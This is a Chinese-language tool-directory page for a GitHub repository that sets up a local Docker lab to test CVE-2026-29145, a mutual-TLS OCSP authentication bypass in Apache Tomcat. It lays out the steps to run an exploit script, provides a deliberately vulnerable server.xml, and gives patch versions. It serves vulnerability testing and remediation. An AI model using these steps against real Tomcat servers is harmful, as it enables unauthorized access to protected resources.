Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-29145-Tester — 该仓库包含一个用于测试 CVE-2026-29145 的概念验证(PoC)环境。 | Kitploit
工具/GitHubGitHub/chenjp/cve-2026-29145-tester
漏洞分析漏洞利用Web安全渗透测试身份验证学习与教育
GitHubchenjp/cve-2026-29145-tester

CVE-2026-29145-Tester

该仓库包含一个用于测试 CVE-2026-29145 的概念验证(PoC)环境。

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-29145 测试环境

📌 概述

本仓库包含一个概念验证(PoC)环境,用于测试 CVE-2026-29145。

该漏洞是 Apache Tomcat 的相互 TLS(CLIENT_CERT)实现中的身份验证绕过。当 OCSP(在线证书状态协议)配置为禁用软失败时,Tomcat 可能无法将 OCSP 检查失败视为硬性拒绝。如果 OCSP 响应器不可达或返回错误,这允许持有可能已吊销或未验证证书的客户端绕过身份验证。

🛡️ 漏洞详情

属性值
CVE IDCVE-2026-29145
CVSS 评分9.1(严重)- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
攻击向量网络
所需权限无
影响身份验证绕过

漏洞利用前提条件

  • ✓ 在 Tomcat 中启用 CLIENT_CERT 身份验证
  • ✓ 启用 OCSP 吊销检查
  • ✓ 禁用软失败选项(硬失败模式)
  • ✓ OCSP 响应器不可达或返回错误

🚀 快速开始

前提条件

  • Docker 和 Docker Compose:用于运行易受攻击的 Tomcat 容器
  • OpenSSL:用于生成 PKI(公钥基础设施)- 通常在 Linux/macOS 上预装
  • Python 3.7+:用于运行测试脚本和模拟响应器
  • curl(可选):用于手动测试
  • PowerShell(仅限 Windows):如果使用 .ps1 脚本

1. 自动化完整测试周期(推荐)

run_test.sh 脚本自动化整个流程:清理、证书生成以及运行所有测试场景(易受攻击、成功和已修补)。

root@kitploit:~
# 导航到项目目录
cd CVE-2026-29145-Tester

# 使脚本可执行
chmod +x cleanup.sh setup_certs.sh run_test.sh

# 安装 Python 依赖(如果 poc_exploit.py 需要)
pip install -r requirements.txt

# 运行完整测试套件
./run_test.sh

2. 生成证书

在 Linux/macOS 上:

root@kitploit:~
./setup_certs.sh

在 Windows 上(PowerShell):

root@kitploit:~
.\setup_certs.ps1

此操作的作用:

  • 创建根 CA(证书颁发机构)
  • 为 Tomcat 生成服务器证书
  • 生成带有指向 http://localhost:8888 的 OCSP 扩展的客户端证书
  • 验证所有证书是否成功创建

预期输出:

root@kitploit:~
[INFO] 开始为 CVE-2026-29145 测试环境生成证书
[INFO] 找到 OpenSSL:OpenSSL 3.0.x (...)
[INFO] 已创建 certs 目录
[INFO] 正在生成根 CA...
[INFO] 正在生成服务器证书...
[INFO] 正在生成带 OCSP 扩展的客户端证书...
[INFO] 证书设置成功完成!

3. 启动易受攻击的环境

root@kitploit:~
docker-compose up -d

此操作的作用:

  • 在端口 8888 上启动 OCSP 模拟响应器(模拟 HTTP 500 错误)
  • 在端口 8443 上启动带有 CLIENT_CERT 身份验证的易受攻击的 Tomcat 10.1.52
  • 创建用于服务通信的内部 Docker 网络
  • 为两个服务设置健康检查

验证容器正在运行:

root@kitploit:~
docker-compose ps

4. 运行漏洞利用测试

root@kitploit:~
python poc_exploit.py

预期输出:

易受攻击的系统:

root@kitploit:~
[INFO] 正在尝试连接到 https://localhost:8443/protected-resource...
[WARNING] 易受攻击:尽管 OCSP 检查失败,仍授予访问权限。
[WARNING] 响应预览:<html>...

已修补的系统:

root@kitploit:~
[INFO] 正在尝试连接到 https://localhost:8443/protected-resource...
[INFO] 不易受攻击:访问被拒绝(身份验证正常工作)。

🧪 测试场景

场景OCSP 状态预期(已修补)结果(易受攻击)备注
正常操作在线且有效200 OK ✓200 OK ✓OCSP 检查成功,授予访问权限
软失败离线/超时403 禁止 ✓200 OK ✗绕过 - OCSP 响应器不可达
硬性吊销在线且已吊销403 禁止 ✓403 禁止 ✓证书被明确吊销
无效证书无效链403 禁止 ✓403 禁止 ✓链验证失败

运行不同测试场景

测试 1:默认(OCSP 响应器失败)

root@kitploit:~
# 保持容器运行
python poc_exploit.py

测试 2:停止 OCSP 响应器(模拟超时)

root@kitploit:~
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder

测试 3:使用 curl 手动测试

root@kitploit:~
curl -v \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://localhost:8443/protected-resource

🛠️ 项目结构

root@kitploit:~
CVE-2026-29145-Tester/
├── README.md                    # 本文件
├── setup_certs.sh              # 证书生成脚本 - Bash(Linux/macOS)
├── setup_certs.ps1             # 证书生成脚本 - PowerShell(Windows)
├── cleanup.sh                  # 清理和重置脚本 - Bash(Linux/macOS)
├── cleanup.ps1                 # 清理和重置脚本 - PowerShell(Windows)
├── run_test.sh                 # 自动化完整测试周期脚本
├── docker-compose.yml          # Docker 服务编排
├── requirements.txt            # Python 依赖
├── poc_exploit.py              # 主测试脚本(带日志记录和错误处理)
├── simple_proxy_fail.py        # 模拟 OCSP 响应器(带详细日志记录)
├── .gitignore                  # 证书和日志的 Git 忽略规则
├── certs/                      # 生成的证书(由 setup_certs 脚本创建)
│   ├── ca-chain.pem           # 根 CA 证书
│   ├── ca-key.pem             # 根 CA 私钥
│   ├── server-cert.pem        # Tomcat 服务器证书
│   ├── server-key.pem         # Tomcat 服务器私钥
│   ├── client-cert.pem        # 测试客户端证书
│   └── client-key.pem         # 测试客户端私钥
├── tomcat/
│   └── server.xml             # 易受攻击的 Tomcat 配置
└── logs/                       # Tomcat 日志(运行时创建)

📋 配置详情

Server.xml 配置(易受攻击)

tomcat/server.xml 文件配置:

root@kitploit:~
<SSLHostConfig 
    hostName="localhost"
    certificateVerification="required"
    caCertificateFile="conf/certs/ca-chain.pem">
    
    <OpenSSLConf>
        <ConfCommand name="OCSP" value="on"/>
    </OpenSSLConf>
</SSLHostConfig>

关键设置:

  • certificateVerification="required" - 强制 CLIENT_CERT 身份验证
  • OCSP on - 启用 OCSP 吊销检查
  • 无软失败覆盖 - 使用硬失败模式(易受攻击)

OCSP 响应器配置

模拟 OCSP 响应器(simple_proxy_fail.py):

  • 监听 localhost:8888
  • 始终返回 HTTP 500(服务器错误)
  • 记录所有传入的 OCSP 请求
  • 模拟不可达/失败的 OCSP 服务

🔧 故障排除

常见问题及解决方案

❌ 错误:"OpenSSL is not installed"

root@kitploit:~
# macOS
brew install openssl

# Ubuntu/Debian
sudo apt-get install openssl

# CentOS/RHEL
sudo yum install openssl

❌ 错误:"Missing certificate files"

原因: 证书生成失败或未运行。

root@kitploit:~
# 清理并重新生成
rm -rf certs
./setup_certs.sh

❌ 错误:端口 8443 上出现 "Connection refused"

原因: Tomcat 容器未运行或未就绪。

root@kitploit:~
# 检查容器状态
docker-compose ps

# 检查日志
docker-compose logs vulnerable-tomcat

# 确保两个服务都在运行且健康
docker-compose up -d
sleep 10  # 等待服务启动

❌ 错误:"Connection timeout"

原因: Tomcat 启动时间过长或网络问题。

root@kitploit:~
# 检查 Tomcat 启动日志
docker-compose logs vulnerable-tomcat

# 增加超时时间并重试
timeout 30 docker-compose logs -f vulnerable-tomcat  # 监控启动过程

❌ 错误:"docker-compose: command not found"

原因: Docker Compose 未安装或不在 PATH 中。

root@kitploit:~
# 安装 Docker Compose(如果使用独立版本)
sudo curl -L "https://github.com/docker/compose/releases/download/v2.x.x/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

# 或使用 docker compose(Docker Desktop 集成的 V2 版本)
docker compose up -d

❌ 错误:"SSL: CERTIFICATE_VERIFY_FAILED"

原因: 证书验证失败。

root@kitploit:~
# 验证证书文件是否存在
ls -la certs/

# 检查证书有效性
openssl x509 -in certs/client-cert.pem -noout -text

❌ 错误:"requests.exceptions.SSLError"

原因: SSL 握手失败 - 可能表明硬失败正在正常工作。

解决方案: 这实际上是一个积极信号!当 OCSP 失败时,硬失败正在阻止访问。

root@kitploit:~
# 检查 OCSP 响应器是否正在运行
docker-compose ps ocsp-responder

# 查看详细错误
python poc_exploit.py  # 已提供详细日志记录

❌ 错误:"Address already in use"

原因: 端口 8443 或 8888 已被占用。

root@kitploit:~
# 查找使用该端口的进程
lsof -i :8443
lsof -i :8888

# 终止进程或在 docker-compose.yml 中使用不同端口

调试和日志

查看详细日志

root@kitploit:~
# Tomcat 日志
docker-compose logs -f vulnerable-tomcat

# OCSP 响应器日志
docker-compose logs -f ocsp-responder

# Python 脚本调试
python poc_exploit.py  # 已包含详细日志记录

监控实时事件

root@kitploit:~
# 打开终端并运行
docker-compose logs -f

# 在另一个终端中运行测试
python poc_exploit.py

网络调试

root@kitploit:~
# 测试与 OCSP 响应器的连接
curl http://localhost:8888/

# 从 Tomcat 容器内部测试 OCSP 响应器
docker exec vulnerable-tomcat curl http://ocsp-responder:8888/

# 测试 SSL 握手
openssl s_client -connect localhost:8443 \
  -cert certs/client-cert.pem \
  -key certs/client-key.pem \
  -CAfile certs/ca-chain.pem

🧹 清理

要移除所有容器、卷、证书和日志:

在 Linux/macOS 上:

root@kitploit:~
./cleanup.sh

在 Windows 上(PowerShell):

root@kitploit:~
.\cleanup.ps1

此操作的作用:

  • 停止并移除所有 Docker 容器
  • 移除生成的 certs/ 目录
  • 移除 logs/ 目录
  • 清理 Python 缓存文件

验证清理:

root@kitploit:~
docker-compose ps  # 应显示无内容
ls -la certs/      # 应不存在

⚖️ 免责声明

本项目仅用于教育和授权安全测试目的。

  • ⚠️ 仅对您拥有或获得明确书面许可的系统使用
  • ⚠️ 未经授权使用这些工具针对系统是非法的且不道德的
  • ⚠️ 作者不对本软件的任何滥用负责
  • ⚠️ 在生产系统上测试之前,请始终确保您有适当的备份

📝 修复建议

要缓解此漏洞,请将 Apache Tomcat 升级到以下版本:

版本系列最低修复版本
11.0.x11.0.20 或更高版本
10.1.x10.1.53 或更高版本
9.0.x9.0.116 或更高版本

升级步骤:

root@kitploit:~
# 示例:更新 docker-compose.yml 以使用已修补的版本
# 更改:image: tomcat:10.1.52-jdk17
# 为:image: tomcat:10.1.53-jdk17

docker-compose down
docker-compose up -d

🔗 参考

  • CVE-2026-29145 详情
  • Apache Tomcat 文档
  • OCSP(RFC 6960)
  • 相互 TLS(mTLS)概述

📬 支持

如有问题、疑问或贡献,请提交 issue 或 pull request。


最后更新: 2026 年 4 月
状态: 测试和文档已完成

下载工具